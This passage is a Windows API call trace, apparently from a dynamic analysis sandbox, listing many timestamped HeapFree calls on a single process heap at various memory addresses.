	[0054.223] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.223] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.223] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.223] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.223] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.224] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.224] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.224] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.224] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.224] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.224] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.224] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.224] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.225] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.225] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.225] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.226] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.226] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.226] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.226] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.303] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0054.303] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.303] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.305] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0054.305] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.305] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.305] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.312] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.313] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.313] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0054.407] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.407] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.407] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0054.407] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.408] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.408] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.417] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.418] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.418] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.419] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.421] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.421] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.421] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.422] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0054.480] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.525] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0054.543] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.543] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.543] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.543] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.555] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.561] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0054.611] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0054.613] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.614] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.614] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.616] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0054.616] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0054.616] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.676] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.676] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0054.703] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.729] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.730] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.730] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0054.733] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0054.734] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0054.742] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.742] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.742] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.752] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.752] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.754] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0054.755] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.755] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0054.755] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.755] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.755] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.757] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0054.757] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.757] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0054.757] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.767] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.768] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.769] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.769] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.769] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.770] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.771] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.772] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.773] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.774] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.774] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.774] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.774] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.775] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.775] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0054.776] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0054.776] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0054.777] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
	[0054.778] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
	[0054.778] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0055.606] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.614] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.614] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.615] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.615] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.615] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.615] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.615] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.615] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.615] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.616] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.616] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0055.628] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0055.628] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0055.628] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0055.628] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.630] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.631] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0055.632] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0055.632] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0055.633] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0055.633] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0055.634] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.634] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.635] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.635] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.635] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.636] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.636] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.637] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.637] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.637] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.637] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.637] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.637] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.638] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.638] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.638] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.638] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.638] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.639] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.639] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.639] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.639] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.639] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.639] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.640] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.640] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.640] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.640] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.640] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.640] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.641] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.641] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.641] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.641] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.641] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.641] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.642] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.642] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.642] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.642] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.642] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.643] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.643] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.643] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.643] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.643] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.644] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.644] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.644] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.644] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.644] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.645] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.645] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.645] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.645] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.645] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.645] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.646] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.646] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.646] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.646] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.646] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.647] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.647] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.647] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.647] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.647] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.647] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.648] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.648] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.648] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.648] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.648] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.648] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.649] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0055.649] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0055.649] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0055.649] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0055.650] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.650] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.650] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.961] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.962] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.962] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.962] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0055.962] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0055.963] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0055.963] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0055.969] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0055.969] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0055.970] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0055.971] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0055.973] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0055.973] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0055.974] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0055.975] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0055.976] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.976] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0055.983] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.984] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0055.985] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0055.985] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0055.985] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
